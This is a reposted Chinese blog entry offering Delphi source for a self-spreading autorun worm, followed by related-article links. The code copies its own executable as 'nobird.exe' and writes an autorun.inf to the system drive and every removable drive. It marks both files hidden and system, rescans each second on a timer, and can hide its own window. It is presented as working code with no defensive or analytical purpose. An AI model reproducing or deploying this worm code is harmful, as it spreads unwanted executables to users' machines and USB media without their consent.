delphi之autorun(复制自身+循环扫描)


本文整理自网络,侵删。

 话说这段还是很菜的代码,仅仅是在无保护的机子上实现效果而已。
unit Unit1;interfaceuses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs,Tlhelp32,  StdCtrls;type  TForm1 = class(TForm)    Button1: TButton;    procedure Button1Click(Sender: TObject);  private    { Private declarations }  public    { Public declarations }  end;var  Form1: TForm1;vars,s1,s2,s3:string;i:char;inf:textfile;var   win: longint;   msg: Tmsg;implementation{$R *.dfm} function GetWinDir: string;var   Buf: array[0..MAX_PATH] of char;begin   GetSystemDirectory(Buf, MAX_PATH);   Result := Buf;   if Result[Length(Result)] <> '\' then Result := Result + '\';end;procedure TForm1.Button1Click(Sender: TObject);beginbegin//========================创建autorun.inf文件===================================begins:=ExpandFileName(ParamStr(0));    //获取自身的完整路径s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';FileSetAttr(s,0);FileSetAttr(s1,0);assignfile(inf, 'Autorun.inf');rewrite(inf);writeln(inf, '[AutoRun]');writeln(inf, '');writeln(inf, 'open=nobird.exe');writeln(inf, 'shell\open=打开(&O)');writeLn(inf, 'shell\open\Command=nobird.exe');writeln(inf, 'shell\open\Default=1');writeln(inf, 'shell\explore=资源管理器(&X)');writeln(inf, 'shell\explore\Command=nobird.EXE');closefile(inf);end;//=====================================end======================================//=============================将文件复制到系统盘符下===========================    s2:=copy(getwindir,1,1);    s3:=pchar(s2+':\autorun.inf');    s2:=pchar(s2+':\nobird.exe');    copyfile(pchar(s),pchar(s2),false);    copyfile(pchar(s1),pchar(s3),false);    FileSetAttr(s2,7);    FileSetAttr(s3,7);//==================================end=========================================//=============================将文件复制到所有磁盘===========================for i:='C' to 'Z' doif GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE thenbegin    s2:=i;    s3:=pchar(i+':\autorun.inf');    s2:=pchar(s2+':\nobird.exe');    copyfile(pchar(s),pchar(s2),false);    copyfile(pchar(s1),pchar(s3),false);    FileSetAttr(s2,7);    FileSetAttr(s3,7);   end;//================================end===========================================end;begin   //下面的代码在调试的时候最好注释掉,不然你会很郁闷...   win := getforegroundwindow; //获取当前窗体的句柄   //showwindow(win, SW_HIDE); //隐藏窗体   SetTimer(0, 10, 1000, @TForm1.Button1Click); //定时间器,一秒钟扫描一次   while GetMessage(msg, 0, 0, 0) do DispatchMessage(msg);   KillTimer(0, 10);end;end;end.

相关阅读 >>

Delphi 带参数的 exit

Delphi写一个utf8编码格式的文本文件

Delphi thttpclient posturl

Delphi整理五(枚举、子界、集合)

Delphi中判断操作系统是否是windows7

Delphi 清空目录以及子目录

Delphi 限制form窗体为固定的大小

Delphi日期时间函数

Delphi 主窗体最小化时不显示在任务栏

Delphi 设置richedit的行间距

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...